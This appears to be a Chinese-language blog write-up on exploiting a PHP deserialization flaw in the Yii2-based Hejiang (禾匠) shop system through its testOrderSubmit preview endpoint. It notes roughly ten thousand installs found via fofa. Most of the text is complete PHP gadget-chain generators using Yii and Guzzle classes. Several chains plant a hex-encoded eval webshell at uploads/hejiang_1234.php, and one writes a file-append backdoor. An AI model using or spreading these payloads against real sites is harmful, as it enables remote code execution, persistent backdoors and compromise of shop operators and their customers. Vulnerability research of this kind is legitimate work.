0x00 前言
禾匠商城是基本yii2.0.21开发的一套商城系统
在网上使用的也比较多,其fofa搜索规则为,数量接近一万
其api/testOrderSubmit/index/preview
方法一直存在反序列化的问题
但是由于不同版本之间的利用链变化很大,所以想找一下比较通用的
那必然就要基于yii的核心框架,之前写的链太多基于faker的,这里不存在这个扩展
0x01 原利用链
作者给的利用链
探测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
namespace GuzzleHttp\Psr7 { class FnStream { var $_fn_close = "phpinfo"; } }
namespace yii\db { use GuzzleHttp\Psr7\FnStream; class BatchQueryResult { private $_dataReader; public function __construct() { $this->_dataReader = new FnStream(); } } }
namespace { use yii\db\BatchQueryResult; echo urlencode(serialize(new BatchQueryResult())); }
|
写文件的利用链,生成的文件名字是xxxx?charset=334.php
,名字中含有特殊字符,所以只能在linux下用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <?php
namespace Alipay { class AlipayRequester { public $callback = "file_put_contents"; public $gateway = "xxxx"; public $charset = "334.php"; } }
namespace yii\rest { use Alipay\AlipayRequester; class IndexAction { public $checkAccess; public $id; public function __construct() { $this->checkAccess=[(new AlipayRequester),"execute"]; $this->id='<?php $a="fwrite";$h = fopen($_REQUEST[f], "a");$a($h, htmlspecialchars_decode(htmlspecialchars_decode($_REQUEST[c])));'; } } }
namespace yii\web { use yii\rest\IndexAction; class DbSession { protected $fields = []; public $writeCallback; public function __construct() { $this->writeCallback=[(new IndexAction),"run"]; $this->fields['1'] = 'aaa'; }
} }
namespace yii\db { use yii\web\DbSession; class BatchQueryResult { private $_dataReader; public function __construct() { $this->_dataReader = new DbSession(); } } }
namespace { use yii\db\BatchQueryResult; echo urlencode(serialize(new BatchQueryResult())); } ?>
|
实际上后面的版本针对
FnStream
和BatchQueryResult
类都做了防止反序列化的处理
会直接爆出异常,这大概就是漏洞点一直不修,一直在补利用链的原因
0x02 代码执行利用链
实际上针对FnStream
在很早之前就说过
这个类只是不能在做入口了,但是当成中间的节点完全不成问题
禾匠低版本
首先入口点采用BatchQueryResult
类
任意调用close方法
这里选的close方法自然就是,此时的调用不存在参数
在yii中存在一个很好的过度的点就是IndexAction
类的run方法
现在就是存在了一个单参数的任意调用,之前用的那个类的代码执行,在这里的低版本不存在那个类
所以重新选择了View类
这是yii的base里面的,一般都会存在
最终的利用链就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php namespace yii\base{ class View{} }
namespace yii\rest { use yii\base\View; class IndexAction { public $checkAccess; public $id; public function __construct() { $this->checkAccess=[new View(),'evaluateDynamicContent']; $this->id="file_put_contents('uploads/hejiang_1234.php',hex2bin('3c3f70687020406576616c28245f524551554553545b27696d67275d293b3f3e'));phpinfo();"; } } }
namespace GuzzleHttp\Psr7{ use yii\rest\IndexAction; class FnStream{ private $method; public function __construct() { $this->method = [ "close"=>[new IndexAction(),'run'], ]; foreach ($this->method as $name => $fn) { $this->{'_fn_' . $name} = $fn; } } } }
namespace yii\db { use GuzzleHttp\Psr7\FnStream; class BatchQueryResult { private $_dataReader; public function __construct() { $this->_dataReader = new FnStream(); } } }
namespace { use yii\db\BatchQueryResult; echo urlencode(serialize(new BatchQueryResult())); }
|
由于在后面的版本中BatchQueryResult
类不能用了
全版本的代码执行
这是我们需要重新找的只有入口
这里既然存在guzz
直接以guzz的FileCookieJar类为入口,重写利用链,这里的file_put_contents不太好控制内容

当作跳板直接触发__toString
自然还是FnStream
类的方法,接下来就和上面一样了
最终的利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <?php namespace yii\base{ class View{} }
namespace yii\rest { use yii\base\View; class IndexAction { public $checkAccess; public $id; public function __construct() { $this->checkAccess=[new View(),'evaluateDynamicContent']; $this->id="file_put_contents('uploads/hejiang_1234.php',hex2bin('3c3f70687020406576616c28245f524551554553545b27696d67275d293b3f3e'));phpinfo();"; } } }
namespace GuzzleHttp\Psr7{ use yii\rest\IndexAction; class FnStream{ private $method; public function __construct() { $this->method = [ "__toString"=>[new IndexAction(),'run'], ]; foreach ($this->method as $name => $fn) { $this->{'_fn_' . $name} = $fn; } } } }
namespace GuzzleHttp\Cookie{ use GuzzleHttp\Psr7\FnStream; class FileCookieJar{ private $filename; private $storeSessionCookies; public function __construct() { $this->filename = new FnStream(); $this->storeSessionCookies = 1; } } }
namespace { use GuzzleHttp\Cookie\FileCookieJar; $exception = new FileCookieJar(); echo urlencode(serialize($exception)); }
|
修改节点
针对IndexAction
的修改
如果这个方法不能用的话,还存在什么方式可以过度一下呢
那么我们现在有一个任意调用的点,但是这个点未传任何参数
这里有两个子类存在相同的方法
看一下ArrayDataProvider
类
这里就很明显,key是可控的,传入的model也必须可控
继续向上追踪,但是这里的条件需要注意,我们的models和key参数不能为null,所以前面的条件必须为true
而forcePrepare
为true的时候会对models进行处理
看看prepareModels
方法,可以看到models参数取自allmodels
下面箭头处的两个方法不能进去,不然完全可控的参数就被污染了
而这两个方法也很给力
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public function getPagination() { if ($this->_pagination === null) { $this->setPagination([]); }
return $this->_pagination; }
public function getSort() { if ($this->_sort === null) { $this->setSort([]); }
return $this->_sort; }
|
但是很明显的一点就是,肯定不能用之前的无参的任意调用
因为forcePrepare
的默认值为false,而我们需要它是true
找到Command核心类的一个prepare方法,为了不找麻烦,直接不满足&&前面的条件,后面就不进了
那么我们需要forRead为false
那么关键就是两个方法,可以看到只有pdo不是null就可以,正好设置成之前的ArrayDataProvider
类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public function getTransaction() { return $this->_transaction && $this->_transaction->getIsActive() ? $this->_transaction : null; } public function getIsActive() { return $this->pdo !== null; }
public function getMasterPdo() { $this->open(); return $this->pdo; }
|
自此整个链条就出来了
有点小长
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| <?php namespace yii\base{ class View{} }
namespace yii\data{ use yii\base\View; class ArrayDataProvider extends BaseDataProvider{ public $allModels; public $key; public function __construct(){ $this->allModels = array("file_put_contents('uploads/hejiang_1234.php',hex2bin('3c3f70687020406576616c28245f524551554553545b27696d67275d293b3f3e'));phpinfo();"); $this->key = [new View(),'evaluateDynamicContent']; } } abstract class BaseDataProvider{ private $_sort = false; private $_pagination = false; } }
namespace yii\db{ use yii\data\ArrayDataProvider; class Command{ private $_sql = true; public $pdoStatement = false; public $db; public function __construct(){ $this->db = new Connection(); } } class Connection{ public $pdo; private $_transaction; public function __construct(){ $this->pdo = new ArrayDataProvider(); $this->_transaction = $this; } } }
namespace GuzzleHttp\Psr7{ use yii\db\Command; class FnStream{ private $method; public function __construct() { $this->method = [ "__toString"=>[new Command(),'prepare'], ]; foreach ($this->method as $name => $fn) { $this->{'_fn_' . $name} = $fn; } } } }
namespace GuzzleHttp\Cookie{ use GuzzleHttp\Psr7\FnStream; class FileCookieJar{ private $filename; private $storeSessionCookies; public function __construct() { $this->filename = new FnStream(); $this->storeSessionCookies = 1; } } }
namespace { use GuzzleHttp\Cookie\FileCookieJar; $exception = new FileCookieJar(); echo urlencode(serialize($exception)); }
|
0x03 end